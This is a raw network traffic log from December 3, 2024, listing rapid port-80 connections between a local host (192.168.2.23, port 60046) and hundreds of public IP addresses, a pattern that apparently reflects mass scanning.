Dec 3, 2024 23:01:46.040080070 CET	60046	80	192.168.2.23	43.10.160.197
Dec 3, 2024 23:01:46.040085077 CET	60046	80	192.168.2.23	47.82.44.109
Dec 3, 2024 23:01:46.040087938 CET	60046	80	192.168.2.23	102.226.16.13
Dec 3, 2024 23:01:46.040121078 CET	80	60046	108.234.97.33	192.168.2.23
Dec 3, 2024 23:01:46.040158987 CET	60046	80	192.168.2.23	108.234.97.33
Dec 3, 2024 23:01:46.040167093 CET	80	60046	176.30.227.175	192.168.2.23
Dec 3, 2024 23:01:46.040174961 CET	80	60046	187.32.136.107	192.168.2.23
Dec 3, 2024 23:01:46.040189981 CET	80	60046	221.116.185.240	192.168.2.23
Dec 3, 2024 23:01:46.040206909 CET	60046	80	192.168.2.23	176.30.227.175
Dec 3, 2024 23:01:46.040209055 CET	60046	80	192.168.2.23	187.32.136.107
Dec 3, 2024 23:01:46.040222883 CET	80	60046	133.185.240.128	192.168.2.23
Dec 3, 2024 23:01:46.040225029 CET	60046	80	192.168.2.23	221.116.185.240
Dec 3, 2024 23:01:46.040231943 CET	80	60046	167.230.236.59	192.168.2.23
Dec 3, 2024 23:01:46.040241957 CET	80	60046	121.139.253.145	192.168.2.23
Dec 3, 2024 23:01:46.040266991 CET	60046	80	192.168.2.23	133.185.240.128
Dec 3, 2024 23:01:46.040270090 CET	60046	80	192.168.2.23	167.230.236.59
Dec 3, 2024 23:01:46.040275097 CET	60046	80	192.168.2.23	121.139.253.145
Dec 3, 2024 23:01:46.040307045 CET	80	60046	25.157.96.250	192.168.2.23
Dec 3, 2024 23:01:46.040317059 CET	80	60046	90.65.103.142	192.168.2.23
Dec 3, 2024 23:01:46.040323973 CET	80	60046	187.12.114.50	192.168.2.23
Dec 3, 2024 23:01:46.040332079 CET	80	60046	94.221.221.163	192.168.2.23
Dec 3, 2024 23:01:46.040340900 CET	80	60046	83.81.103.235	192.168.2.23
Dec 3, 2024 23:01:46.040344954 CET	60046	80	192.168.2.23	25.157.96.250
Dec 3, 2024 23:01:46.040349007 CET	60046	80	192.168.2.23	187.12.114.50
Dec 3, 2024 23:01:46.040349960 CET	80	60046	211.67.54.175	192.168.2.23
Dec 3, 2024 23:01:46.040350914 CET	60046	80	192.168.2.23	90.65.103.142
Dec 3, 2024 23:01:46.040358067 CET	80	60046	129.88.177.30	192.168.2.23
Dec 3, 2024 23:01:46.040366888 CET	80	60046	133.200.231.46	192.168.2.23
Dec 3, 2024 23:01:46.040366888 CET	60046	80	192.168.2.23	94.221.221.163
Dec 3, 2024 23:01:46.040385008 CET	60046	80	192.168.2.23	83.81.103.235
Dec 3, 2024 23:01:46.040384054 CET	60046	80	192.168.2.23	133.200.231.46
Dec 3, 2024 23:01:46.040386915 CET	60046	80	192.168.2.23	211.67.54.175
Dec 3, 2024 23:01:46.040391922 CET	60046	80	192.168.2.23	129.88.177.30
Dec 3, 2024 23:01:46.040966988 CET	80	60046	187.156.172.1	192.168.2.23
Dec 3, 2024 23:01:46.041002989 CET	60046	80	192.168.2.23	187.156.172.1
Dec 3, 2024 23:01:46.041007042 CET	80	60046	158.225.245.154	192.168.2.23
Dec 3, 2024 23:01:46.041014910 CET	80	60046	167.110.198.115	192.168.2.23
Dec 3, 2024 23:01:46.041040897 CET	60046	80	192.168.2.23	158.225.245.154
Dec 3, 2024 23:01:46.041044950 CET	60046	80	192.168.2.23	167.110.198.115
Dec 3, 2024 23:01:46.041047096 CET	80	60046	170.8.73.139	192.168.2.23
Dec 3, 2024 23:01:46.041055918 CET	80	60046	153.83.252.28	192.168.2.23
Dec 3, 2024 23:01:46.041085958 CET	60046	80	192.168.2.23	170.8.73.139
Dec 3, 2024 23:01:46.041088104 CET	60046	80	192.168.2.23	153.83.252.28
Dec 3, 2024 23:01:46.041100025 CET	80	60046	129.133.181.132	192.168.2.23
Dec 3, 2024 23:01:46.041109085 CET	80	60046	166.114.56.194	192.168.2.23
Dec 3, 2024 23:01:46.041135073 CET	60046	80	192.168.2.23	129.133.181.132
Dec 3, 2024 23:01:46.041147947 CET	60046	80	192.168.2.23	166.114.56.194
Dec 3, 2024 23:01:46.041157961 CET	80	60046	97.66.28.198	192.168.2.23
Dec 3, 2024 23:01:46.041168928 CET	80	60046	27.153.177.116	192.168.2.23
Dec 3, 2024 23:01:46.041177034 CET	80	60046	97.117.125.51	192.168.2.23
Dec 3, 2024 23:01:46.041202068 CET	60046	80	192.168.2.23	97.66.28.198
Dec 3, 2024 23:01:46.041202068 CET	60046	80	192.168.2.23	27.153.177.116
Dec 3, 2024 23:01:46.041203022 CET	60046	80	192.168.2.23	97.117.125.51
Dec 3, 2024 23:01:46.041213036 CET	80	60046	115.241.213.219	192.168.2.23
Dec 3, 2024 23:01:46.041223049 CET	80	60046	203.107.6.5	192.168.2.23
Dec 3, 2024 23:01:46.041230917 CET	80	60046	41.10.116.0	192.168.2.23
Dec 3, 2024 23:01:46.041256905 CET	60046	80	192.168.2.23	115.241.213.219
Dec 3, 2024 23:01:46.041256905 CET	60046	80	192.168.2.23	203.107.6.5
Dec 3, 2024 23:01:46.041261911 CET	60046	80	192.168.2.23	41.10.116.0
Dec 3, 2024 23:01:46.041286945 CET	80	60046	47.112.182.0	192.168.2.23
Dec 3, 2024 23:01:46.041296005 CET	80	60046	61.112.234.6	192.168.2.23
Dec 3, 2024 23:01:46.041301966 CET	80	60046	81.177.16.198	192.168.2.23
Dec 3, 2024 23:01:46.041332960 CET	60046	80	192.168.2.23	47.112.182.0
Dec 3, 2024 23:01:46.041332960 CET	60046	80	192.168.2.23	81.177.16.198
Dec 3, 2024 23:01:46.041333914 CET	60046	80	192.168.2.23	61.112.234.6
Dec 3, 2024 23:01:46.041387081 CET	80	60046	187.13.231.122	192.168.2.23
Dec 3, 2024 23:01:46.041404009 CET	80	60046	193.1.222.35	192.168.2.23
Dec 3, 2024 23:01:46.041412115 CET	80	60046	68.161.165.247	192.168.2.23
Dec 3, 2024 23:01:46.041419029 CET	80	60046	220.226.2.97	192.168.2.23
Dec 3, 2024 23:01:46.041428089 CET	60046	80	192.168.2.23	187.13.231.122
Dec 3, 2024 23:01:46.041435003 CET	60046	80	192.168.2.23	68.161.165.247
Dec 3, 2024 23:01:46.041436911 CET	60046	80	192.168.2.23	193.1.222.35
Dec 3, 2024 23:01:46.041451931 CET	60046	80	192.168.2.23	220.226.2.97
Dec 3, 2024 23:01:46.041500092 CET	80	60046	68.135.81.22	192.168.2.23
Dec 3, 2024 23:01:46.041508913 CET	80	60046	35.195.180.169	192.168.2.23
Dec 3, 2024 23:01:46.041516066 CET	80	60046	1.33.190.207	192.168.2.23
Dec 3, 2024 23:01:46.041523933 CET	80	60046	49.10.211.169	192.168.2.23
Dec 3, 2024 23:01:46.041531086 CET	80	60046	212.114.15.219	192.168.2.23
Dec 3, 2024 23:01:46.041538954 CET	80	60046	209.21.198.199	192.168.2.23
Dec 3, 2024 23:01:46.041539907 CET	60046	80	192.168.2.23	68.135.81.22
Dec 3, 2024 23:01:46.041543961 CET	60046	80	192.168.2.23	35.195.180.169
Dec 3, 2024 23:01:46.041547060 CET	60046	80	192.168.2.23	1.33.190.207
Dec 3, 2024 23:01:46.041547060 CET	80	60046	49.117.51.110	192.168.2.23
Dec 3, 2024 23:01:46.041554928 CET	80	60046	51.9.142.248	192.168.2.23
Dec 3, 2024 23:01:46.041558027 CET	60046	80	192.168.2.23	49.10.211.169
Dec 3, 2024 23:01:46.041562080 CET	60046	80	192.168.2.23	212.114.15.219
Dec 3, 2024 23:01:46.041572094 CET	60046	80	192.168.2.23	209.21.198.199
Dec 3, 2024 23:01:46.041573048 CET	60046	80	192.168.2.23	49.117.51.110
Dec 3, 2024 23:01:46.041587114 CET	60046	80	192.168.2.23	51.9.142.248
Dec 3, 2024 23:01:46.042083979 CET	80	60046	95.183.218.118	192.168.2.23
Dec 3, 2024 23:01:46.042093039 CET	80	60046	205.140.162.39	192.168.2.23
Dec 3, 2024 23:01:46.042126894 CET	60046	80	192.168.2.23	95.183.218.118
Dec 3, 2024 23:01:46.042128086 CET	60046	80	192.168.2.23	205.140.162.39
Dec 3, 2024 23:01:46.042129040 CET	80	60046	77.178.4.126	192.168.2.23
Dec 3, 2024 23:01:46.042138100 CET	80	60046	188.49.153.22	192.168.2.23
Dec 3, 2024 23:01:46.042165995 CET	60046	80	192.168.2.23	77.178.4.126
Dec 3, 2024 23:01:46.042165995 CET	60046	80	192.168.2.23	188.49.153.22
Dec 3, 2024 23:01:46.042180061 CET	80	60046	87.178.70.92	192.168.2.23
Dec 3, 2024 23:01:46.042188883 CET	80	60046	220.139.211.192	192.168.2.23
Dec 3, 2024 23:01:46.042206049 CET	80	60046	222.144.47.135	192.168.2.23
Dec 3, 2024 23:01:46.042213917 CET	80	60046	211.245.176.151	192.168.2.23
Dec 3, 2024 23:01:46.042221069 CET	60046	80	192.168.2.23	87.178.70.92
Dec 3, 2024 23:01:46.042223930 CET	80	60046	132.197.186.77	192.168.2.23
Dec 3, 2024 23:01:46.042226076 CET	60046	80	192.168.2.23	220.139.211.192
Dec 3, 2024 23:01:46.042237043 CET	60046	80	192.168.2.23	222.144.47.135
Dec 3, 2024 23:01:46.042253017 CET	60046	80	192.168.2.23	211.245.176.151
Dec 3, 2024 23:01:46.042254925 CET	60046	80	192.168.2.23	132.197.186.77
Dec 3, 2024 23:01:46.042258978 CET	80	60046	197.61.99.56	192.168.2.23
Dec 3, 2024 23:01:46.042268991 CET	80	60046	207.66.45.154	192.168.2.23
Dec 3, 2024 23:01:46.042277098 CET	80	60046	19.215.76.84	192.168.2.23
Dec 3, 2024 23:01:46.042284012 CET	80	60046	203.13.159.199	192.168.2.23
Dec 3, 2024 23:01:46.042294979 CET	80	60046	24.27.43.164	192.168.2.23
Dec 3, 2024 23:01:46.042295933 CET	60046	80	192.168.2.23	197.61.99.56
Dec 3, 2024 23:01:46.042296886 CET	60046	80	192.168.2.23	207.66.45.154
Dec 3, 2024 23:01:46.042306900 CET	60046	80	192.168.2.23	203.13.159.199
Dec 3, 2024 23:01:46.042308092 CET	80	60046	103.212.167.111	192.168.2.23
Dec 3, 2024 23:01:46.042309046 CET	60046	80	192.168.2.23	19.215.76.84
Dec 3, 2024 23:01:46.042325974 CET	80	60046	137.39.73.104	192.168.2.23
Dec 3, 2024 23:01:46.042335033 CET	80	60046	17.239.147.7	192.168.2.23
Dec 3, 2024 23:01:46.042335987 CET	60046	80	192.168.2.23	103.212.167.111
Dec 3, 2024 23:01:46.042336941 CET	60046	80	192.168.2.23	24.27.43.164
Dec 3, 2024 23:01:46.042361021 CET	80	60046	149.159.212.139	192.168.2.23
Dec 3, 2024 23:01:46.042368889 CET	80	60046	52.109.22.237	192.168.2.23
Dec 3, 2024 23:01:46.042370081 CET	60046	80	192.168.2.23	17.239.147.7
Dec 3, 2024 23:01:46.042370081 CET	60046	80	192.168.2.23	137.39.73.104
Dec 3, 2024 23:01:46.042378902 CET	80	60046	122.215.54.216	192.168.2.23
Dec 3, 2024 23:01:46.042392969 CET	60046	80	192.168.2.23	149.159.212.139
Dec 3, 2024 23:01:46.042402983 CET	80	60046	192.208.61.175	192.168.2.23
Dec 3, 2024 23:01:46.042411089 CET	60046	80	192.168.2.23	52.109.22.237
Dec 3, 2024 23:01:46.042411089 CET	80	60046	61.151.21.234	192.168.2.23
Dec 3, 2024 23:01:46.042411089 CET	60046	80	192.168.2.23	122.215.54.216
Dec 3, 2024 23:01:46.042418957 CET	80	60046	153.112.62.143	192.168.2.23
Dec 3, 2024 23:01:46.042428970 CET	60046	80	192.168.2.23	192.208.61.175
Dec 3, 2024 23:01:46.042448044 CET	60046	80	192.168.2.23	61.151.21.234
Dec 3, 2024 23:01:46.042449951 CET	60046	80	192.168.2.23	153.112.62.143
Dec 3, 2024 23:01:46.042458057 CET	80	60046	166.66.22.152	192.168.2.23
Dec 3, 2024 23:01:46.042465925 CET	80	60046	180.4.215.29	192.168.2.23
Dec 3, 2024 23:01:46.042475939 CET	80	60046	75.186.126.13	192.168.2.23
Dec 3, 2024 23:01:46.042484999 CET	80	60046	219.29.143.108	192.168.2.23
Dec 3, 2024 23:01:46.042491913 CET	60046	80	192.168.2.23	166.66.22.152
Dec 3, 2024 23:01:46.042493105 CET	80	60046	200.136.33.43	192.168.2.23
Dec 3, 2024 23:01:46.042504072 CET	60046	80	192.168.2.23	180.4.215.29
Dec 3, 2024 23:01:46.042507887 CET	60046	80	192.168.2.23	75.186.126.13
Dec 3, 2024 23:01:46.042510986 CET	60046	80	192.168.2.23	219.29.143.108
Dec 3, 2024 23:01:46.042517900 CET	60046	80	192.168.2.23	200.136.33.43
Dec 3, 2024 23:01:46.042814970 CET	80	60046	120.247.247.101	192.168.2.23
Dec 3, 2024 23:01:46.042829990 CET	80	60046	155.252.48.220	192.168.2.23
Dec 3, 2024 23:01:46.042839050 CET	80	60046	155.219.255.194	192.168.2.23
Dec 3, 2024 23:01:46.042855978 CET	80	60046	155.65.153.97	192.168.2.23
Dec 3, 2024 23:01:46.042860985 CET	60046	80	192.168.2.23	120.247.247.101
Dec 3, 2024 23:01:46.042864084 CET	60046	80	192.168.2.23	155.252.48.220
Dec 3, 2024 23:01:46.042865992 CET	60046	80	192.168.2.23	155.219.255.194
Dec 3, 2024 23:01:46.042881012 CET	80	60046	18.73.176.44	192.168.2.23
Dec 3, 2024 23:01:46.042898893 CET	60046	80	192.168.2.23	155.65.153.97
Dec 3, 2024 23:01:46.042912006 CET	60046	80	192.168.2.23	18.73.176.44
Dec 3, 2024 23:01:46.042952061 CET	80	60046	85.102.216.178	192.168.2.23
Dec 3, 2024 23:01:46.042960882 CET	80	60046	151.123.166.39	192.168.2.23
Dec 3, 2024 23:01:46.042984962 CET	80	60046	152.37.90.233	192.168.2.23
Dec 3, 2024 23:01:46.042989016 CET	60046	80	192.168.2.23	151.123.166.39
Dec 3, 2024 23:01:46.042993069 CET	60046	80	192.168.2.23	85.102.216.178
Dec 3, 2024 23:01:46.042994976 CET	80	60046	188.36.21.96	192.168.2.23
Dec 3, 2024 23:01:46.043011904 CET	80	60046	112.232.0.11	192.168.2.23
Dec 3, 2024 23:01:46.043020964 CET	80	60046	106.37.128.189	192.168.2.23
Dec 3, 2024 23:01:46.043029070 CET	60046	80	192.168.2.23	188.36.21.96
Dec 3, 2024 23:01:46.043030024 CET	60046	80	192.168.2.23	152.37.90.233
Dec 3, 2024 23:01:46.043039083 CET	80	60046	88.254.9.10	192.168.2.23
Dec 3, 2024 23:01:46.043046951 CET	60046	80	192.168.2.23	112.232.0.11
Dec 3, 2024 23:01:46.043047905 CET	60046	80	192.168.2.23	106.37.128.189
Dec 3, 2024 23:01:46.043047905 CET	80	60046	182.18.94.54	192.168.2.23
Dec 3, 2024 23:01:46.043060064 CET	80	60046	162.31.106.65	192.168.2.23
Dec 3, 2024 23:01:46.043076992 CET	60046	80	192.168.2.23	88.254.9.10
Dec 3, 2024 23:01:46.043080091 CET	60046	80	192.168.2.23	182.18.94.54
Dec 3, 2024 23:01:46.043097973 CET	60046	80	192.168.2.23	162.31.106.65
Dec 3, 2024 23:01:46.043153048 CET	80	60046	176.2.198.113	192.168.2.23
Dec 3, 2024 23:01:46.043195963 CET	60046	80	192.168.2.23	176.2.198.113
Dec 3, 2024 23:01:46.149779081 CET	80	60046	93.134.113.67	192.168.2.23
Dec 3, 2024 23:01:46.149789095 CET	80	60046	163.86.135.84	192.168.2.23
Dec 3, 2024 23:01:46.149796009 CET	80	60046	95.250.114.250	192.168.2.23
Dec 3, 2024 23:01:46.149843931 CET	80	60046	45.102.8.87	192.168.2.23
Dec 3, 2024 23:01:46.149852991 CET	80	60046	34.53.116.9	192.168.2.23
Dec 3, 2024 23:01:46.149863958 CET	80	60046	203.239.66.9	192.168.2.23
Dec 3, 2024 23:01:46.149863958 CET	60046	80	192.168.2.23	93.134.113.67
Dec 3, 2024 23:01:46.149863958 CET	60046	80	192.168.2.23	163.86.135.84
Dec 3, 2024 23:01:46.149882078 CET	80	60046	130.231.123.132	192.168.2.23
Dec 3, 2024 23:01:46.149888992 CET	60046	80	192.168.2.23	34.53.116.9
Dec 3, 2024 23:01:46.149888992 CET	60046	80	192.168.2.23	45.102.8.87
Dec 3, 2024 23:01:46.149895906 CET	80	60046	135.8.182.116	192.168.2.23
Dec 3, 2024 23:01:46.149905920 CET	80	60046	146.50.157.9	192.168.2.23
Dec 3, 2024 23:01:46.149909019 CET	60046	80	192.168.2.23	203.239.66.9
Dec 3, 2024 23:01:46.149918079 CET	60046	80	192.168.2.23	130.231.123.132
Dec 3, 2024 23:01:46.149936914 CET	60046	80	192.168.2.23	135.8.182.116
Dec 3, 2024 23:01:46.149938107 CET	60046	80	192.168.2.23	146.50.157.9
Dec 3, 2024 23:01:46.149950027 CET	60046	80	192.168.2.23	95.250.114.250
Dec 3, 2024 23:01:46.150016069 CET	80	60046	25.85.234.16	192.168.2.23
Dec 3, 2024 23:01:46.150024891 CET	80	60046	120.157.240.33	192.168.2.23
Dec 3, 2024 23:01:46.150041103 CET	80	60046	99.14.77.88	192.168.2.23
Dec 3, 2024 23:01:46.150055885 CET	80	60046	61.99.229.39	192.168.2.23
Dec 3, 2024 23:01:46.150058031 CET	60046	80	192.168.2.23	25.85.234.16
Dec 3, 2024 23:01:46.150064945 CET	80	60046	83.215.93.168	192.168.2.23
Dec 3, 2024 23:01:46.150073051 CET	80	60046	184.66.143.35	192.168.2.23
Dec 3, 2024 23:01:46.150079012 CET	60046	80	192.168.2.23	120.157.240.33
Dec 3, 2024 23:01:46.150082111 CET	60046	80	192.168.2.23	99.14.77.88
Dec 3, 2024 23:01:46.150089979 CET	60046	80	192.168.2.23	61.99.229.39
Dec 3, 2024 23:01:46.150099039 CET	60046	80	192.168.2.23	83.215.93.168
Dec 3, 2024 23:01:46.150101900 CET	80	60046	186.36.48.17	192.168.2.23
Dec 3, 2024 23:01:46.150104046 CET	60046	80	192.168.2.23	184.66.143.35
Dec 3, 2024 23:01:46.150111914 CET	80	60046	223.123.140.16	192.168.2.23
Dec 3, 2024 23:01:46.150120974 CET	80	60046	46.206.255.90	192.168.2.23
Dec 3, 2024 23:01:46.150150061 CET	60046	80	192.168.2.23	186.36.48.17
Dec 3, 2024 23:01:46.150150061 CET	60046	80	192.168.2.23	223.123.140.16
Dec 3, 2024 23:01:46.150151014 CET	60046	80	192.168.2.23	46.206.255.90
Dec 3, 2024 23:01:46.150151968 CET	80	60046	178.198.184.254	192.168.2.23
Dec 3, 2024 23:01:46.150161982 CET	80	60046	63.119.47.105	192.168.2.23
Dec 3, 2024 23:01:46.150190115 CET	80	60046	153.59.41.229	192.168.2.23
Dec 3, 2024 23:01:46.150192022 CET	60046	80	192.168.2.23	63.119.47.105
Dec 3, 2024 23:01:46.150192976 CET	60046	80	192.168.2.23	178.198.184.254
Dec 3, 2024 23:01:46.150198936 CET	80	60046	207.231.78.32	192.168.2.23
Dec 3, 2024 23:01:46.150207043 CET	80	60046	94.52.39.110	192.168.2.23
Dec 3, 2024 23:01:46.150229931 CET	60046	80	192.168.2.23	153.59.41.229
Dec 3, 2024 23:01:46.150229931 CET	60046	80	192.168.2.23	207.231.78.32
Dec 3, 2024 23:01:46.150239944 CET	60046	80	192.168.2.23	94.52.39.110
Dec 3, 2024 23:01:46.150249004 CET	80	60046	109.135.0.100	192.168.2.23
Dec 3, 2024 23:01:46.150259018 CET	80	60046	118.17.255.92	192.168.2.23
Dec 3, 2024 23:01:46.150274038 CET	80	60046	73.242.45.3	192.168.2.23
Dec 3, 2024 23:01:46.150283098 CET	80	60046	60.173.31.120	192.168.2.23
Dec 3, 2024 23:01:46.150285006 CET	60046	80	192.168.2.23	109.135.0.100
Dec 3, 2024 23:01:46.150285006 CET	60046	80	192.168.2.23	118.17.255.92
Dec 3, 2024 23:01:46.150288105 CET	80	60046	54.147.61.198	192.168.2.23
Dec 3, 2024 23:01:46.150316954 CET	60046	80	192.168.2.23	73.242.45.3
Dec 3, 2024 23:01:46.150317907 CET	60046	80	192.168.2.23	60.173.31.120
Dec 3, 2024 23:01:46.150321960 CET	60046	80	192.168.2.23	54.147.61.198
Dec 3, 2024 23:01:46.150901079 CET	80	60046	41.57.33.90	192.168.2.23
Dec 3, 2024 23:01:46.150918961 CET	80	60046	41.136.61.174	192.168.2.23
Dec 3, 2024 23:01:46.150943041 CET	60046	80	192.168.2.23	41.57.33.90
Dec 3, 2024 23:01:46.150955915 CET	60046	80	192.168.2.23	41.136.61.174
Dec 3, 2024 23:01:46.150963068 CET	80	60046	4.198.165.240	192.168.2.23
Dec 3, 2024 23:01:46.151004076 CET	60046	80	192.168.2.23	4.198.165.240
Dec 3, 2024 23:01:46.151025057 CET	80	60046	182.176.186.236	192.168.2.23
Dec 3, 2024 23:01:46.151035070 CET	80	60046	104.24.33.237	192.168.2.23
Dec 3, 2024 23:01:46.151045084 CET	80	60046	98.112.153.11	192.168.2.23
Dec 3, 2024 23:01:46.151063919 CET	60046	80	192.168.2.23	104.24.33.237
Dec 3, 2024 23:01:46.151068926 CET	60046	80	192.168.2.23	182.176.186.236
Dec 3, 2024 23:01:46.151077032 CET	60046	80	192.168.2.23	98.112.153.11
Dec 3, 2024 23:01:46.151089907 CET	80	60046	99.35.80.65	192.168.2.23
Dec 3, 2024 23:01:46.151098967 CET	80	60046	62.93.15.153	192.168.2.23
Dec 3, 2024 23:01:46.151108980 CET	80	60046	116.216.172.138	192.168.2.23
Dec 3, 2024 23:01:46.151118040 CET	80	60046	116.173.61.87	192.168.2.23
Dec 3, 2024 23:01:46.151122093 CET	80	60046	210.128.133.111	192.168.2.23
Dec 3, 2024 23:01:46.151124954 CET	80	60046	80.72.242.162	192.168.2.23
Dec 3, 2024 23:01:46.151132107 CET	60046	80	192.168.2.23	99.35.80.65
Dec 3, 2024 23:01:46.151133060 CET	60046	80	192.168.2.23	62.93.15.153
Dec 3, 2024 23:01:46.151148081 CET	60046	80	192.168.2.23	210.128.133.111
Dec 3, 2024 23:01:46.151150942 CET	80	60046	170.129.190.86	192.168.2.23
Dec 3, 2024 23:01:46.151153088 CET	60046	80	192.168.2.23	116.173.61.87
Dec 3, 2024 23:01:46.151154041 CET	60046	80	192.168.2.23	116.216.172.138
Dec 3, 2024 23:01:46.151159048 CET	60046	80	192.168.2.23	80.72.242.162
Dec 3, 2024 23:01:46.151160002 CET	80	60046	86.59.73.142	192.168.2.23
Dec 3, 2024 23:01:46.151169062 CET	80	60046	97.149.69.201	192.168.2.23
Dec 3, 2024 23:01:46.151181936 CET	60046	80	192.168.2.23	170.129.190.86
Dec 3, 2024 23:01:46.151195049 CET	60046	80	192.168.2.23	86.59.73.142
Dec 3, 2024 23:01:46.151197910 CET	60046	80	192.168.2.23	97.149.69.201
Dec 3, 2024 23:01:46.151277065 CET	80	60046	212.22.140.250	192.168.2.23
Dec 3, 2024 23:01:46.151285887 CET	80	60046	171.129.204.211	192.168.2.23
Dec 3, 2024 23:01:46.151293993 CET	80	60046	79.30.4.180	192.168.2.23
Dec 3, 2024 23:01:46.151302099 CET	80	60046	19.232.24.10	192.168.2.23
Dec 3, 2024 23:01:46.151309967 CET	80	60046	222.61.107.148	192.168.2.23
Dec 3, 2024 23:01:46.151320934 CET	80	60046	165.219.100.147	192.168.2.23
Dec 3, 2024 23:01:46.151329994 CET	60046	80	192.168.2.23	79.30.4.180
Dec 3, 2024 23:01:46.151330948 CET	80	60046	184.234.231.194	192.168.2.23
Dec 3, 2024 23:01:46.151333094 CET	60046	80	192.168.2.23	212.22.140.250
Dec 3, 2024 23:01:46.151333094 CET	60046	80	192.168.2.23	171.129.204.211
Dec 3, 2024 23:01:46.151339054 CET	80	60046	81.161.74.34	192.168.2.23
Dec 3, 2024 23:01:46.151346922 CET	60046	80	192.168.2.23	19.232.24.10
Dec 3, 2024 23:01:46.151346922 CET	60046	80	192.168.2.23	165.219.100.147
Dec 3, 2024 23:01:46.151348114 CET	80	60046	207.202.150.212	192.168.2.23
Dec 3, 2024 23:01:46.151348114 CET	60046	80	192.168.2.23	222.61.107.148
Dec 3, 2024 23:01:46.151356936 CET	80	60046	37.120.249.47	192.168.2.23
Dec 3, 2024 23:01:46.151356936 CET	60046	80	192.168.2.23	184.234.231.194
Dec 3, 2024 23:01:46.151359081 CET	60046	80	192.168.2.23	81.161.74.34
Dec 3, 2024 23:01:46.151360989 CET	80	60046	197.203.115.69	192.168.2.23
Dec 3, 2024 23:01:46.151365995 CET	80	60046	134.167.117.40	192.168.2.23
Dec 3, 2024 23:01:46.151374102 CET	80	60046	216.205.241.202	192.168.2.23
Dec 3, 2024 23:01:46.151386976 CET	60046	80	192.168.2.23	207.202.150.212
Dec 3, 2024 23:01:46.151391029 CET	60046	80	192.168.2.23	197.203.115.69
Dec 3, 2024 23:01:46.151396990 CET	60046	80	192.168.2.23	134.167.117.40
Dec 3, 2024 23:01:46.151397943 CET	60046	80	192.168.2.23	37.120.249.47
Dec 3, 2024 23:01:46.151397943 CET	60046	80	192.168.2.23	216.205.241.202
Dec 3, 2024 23:01:46.151902914 CET	80	60046	149.96.128.0	192.168.2.23
Dec 3, 2024 23:01:46.151937962 CET	80	60046	209.192.201.57	192.168.2.23
Dec 3, 2024 23:01:46.151952028 CET	60046	80	192.168.2.23	149.96.128.0
Dec 3, 2024 23:01:46.151972055 CET	60046	80	192.168.2.23	209.192.201.57
Dec 3, 2024 23:01:46.151976109 CET	80	60046	18.188.32.20	192.168.2.23
Dec 3, 2024 23:01:46.152013063 CET	60046	80	192.168.2.23	18.188.32.20
Dec 3, 2024 23:01:46.152021885 CET	80	60046	176.245.3.143	192.168.2.23
Dec 3, 2024 23:01:46.152034044 CET	80	60046	39.253.70.143	192.168.2.23
Dec 3, 2024 23:01:46.152045012 CET	80	60046	113.155.233.69	192.168.2.23
Dec 3, 2024 23:01:46.152066946 CET	60046	80	192.168.2.23	176.245.3.143
Dec 3, 2024 23:01:46.152070999 CET	60046	80	192.168.2.23	39.253.70.143
Dec 3, 2024 23:01:46.152075052 CET	60046	80	192.168.2.23	113.155.233.69
Dec 3, 2024 23:01:46.152121067 CET	80	60046	199.122.64.168	192.168.2.23
Dec 3, 2024 23:01:46.152132988 CET	80	60046	190.89.19.100	192.168.2.23
Dec 3, 2024 23:01:46.152141094 CET	80	60046	123.169.92.140	192.168.2.23
Dec 3, 2024 23:01:46.152149916 CET	80	60046	137.249.9.9	192.168.2.23
Dec 3, 2024 23:01:46.152158022 CET	80	60046	31.74.34.201	192.168.2.23
Dec 3, 2024 23:01:46.152163029 CET	60046	80	192.168.2.23	199.122.64.168
Dec 3, 2024 23:01:46.152163029 CET	60046	80	192.168.2.23	190.89.19.100
Dec 3, 2024 23:01:46.152165890 CET	80	60046	115.11.53.52	192.168.2.23
Dec 3, 2024 23:01:46.152173996 CET	60046	80	192.168.2.23	123.169.92.140
Dec 3, 2024 23:01:46.152184010 CET	80	60046	113.179.197.105	192.168.2.23
Dec 3, 2024 23:01:46.152185917 CET	60046	80	192.168.2.23	137.249.9.9
Dec 3, 2024 23:01:46.152187109 CET	60046	80	192.168.2.23	31.74.34.201
Dec 3, 2024 23:01:46.152193069 CET	80	60046	104.213.76.243	192.168.2.23
Dec 3, 2024 23:01:46.152199030 CET	60046	80	192.168.2.23	115.11.53.52
Dec 3, 2024 23:01:46.152201891 CET	80	60046	108.7.199.102	192.168.2.23
Dec 3, 2024 23:01:46.152220011 CET	60046	80	192.168.2.23	113.179.197.105
Dec 3, 2024 23:01:46.152224064 CET	60046	80	192.168.2.23	104.213.76.243
Dec 3, 2024 23:01:46.152232885 CET	60046	80	192.168.2.23	108.7.199.102
Dec 3, 2024 23:01:46.152242899 CET	80	60046	182.67.153.164	192.168.2.23
Dec 3, 2024 23:01:46.152251959 CET	80	60046	140.244.117.96	192.168.2.23
Dec 3, 2024 23:01:46.152267933 CET	80	60046	196.19.180.182	192.168.2.23
Dec 3, 2024 23:01:46.152276993 CET	80	60046	14.238.12.129	192.168.2.23
Dec 3, 2024 23:01:46.152285099 CET	60046	80	192.168.2.23	182.67.153.164
Dec 3, 2024 23:01:46.152292967 CET	60046	80	192.168.2.23	140.244.117.96
Dec 3, 2024 23:01:46.152297020 CET	60046	80	192.168.2.23	196.19.180.182
Dec 3, 2024 23:01:46.152304888 CET	60046	80	192.168.2.23	14.238.12.129
Dec 3, 2024 23:01:46.152308941 CET	80	60046	207.130.7.82	192.168.2.23
Dec 3, 2024 23:01:46.152324915 CET	80	60046	211.234.93.105	192.168.2.23
Dec 3, 2024 23:01:46.152349949 CET	60046	80	192.168.2.23	207.130.7.82
Dec 3, 2024 23:01:46.152370930 CET	60046	80	192.168.2.23	211.234.93.105
Dec 3, 2024 23:01:46.152391911 CET	80	60046	149.249.155.88	192.168.2.23
Dec 3, 2024 23:01:46.152430058 CET	60046	80	192.168.2.23	149.249.155.88
Dec 3, 2024 23:01:46.152440071 CET	80	60046	53.223.28.159	192.168.2.23
Dec 3, 2024 23:01:46.152450085 CET	80	60046	104.19.153.84	192.168.2.23
Dec 3, 2024 23:01:46.152458906 CET	80	60046	192.185.43.201	192.168.2.23
Dec 3, 2024 23:01:46.152467012 CET	80	60046	123.153.73.190	192.168.2.23
Dec 3, 2024 23:01:46.152479887 CET	80	60046	191.203.179.206	192.168.2.23
Dec 3, 2024 23:01:46.152482986 CET	60046	80	192.168.2.23	53.223.28.159
Dec 3, 2024 23:01:46.152482986 CET	60046	80	192.168.2.23	104.19.153.84
Dec 3, 2024 23:01:46.152487993 CET	80	60046	49.47.246.187	192.168.2.23
Dec 3, 2024 23:01:46.152498960 CET	60046	80	192.168.2.23	192.185.43.201
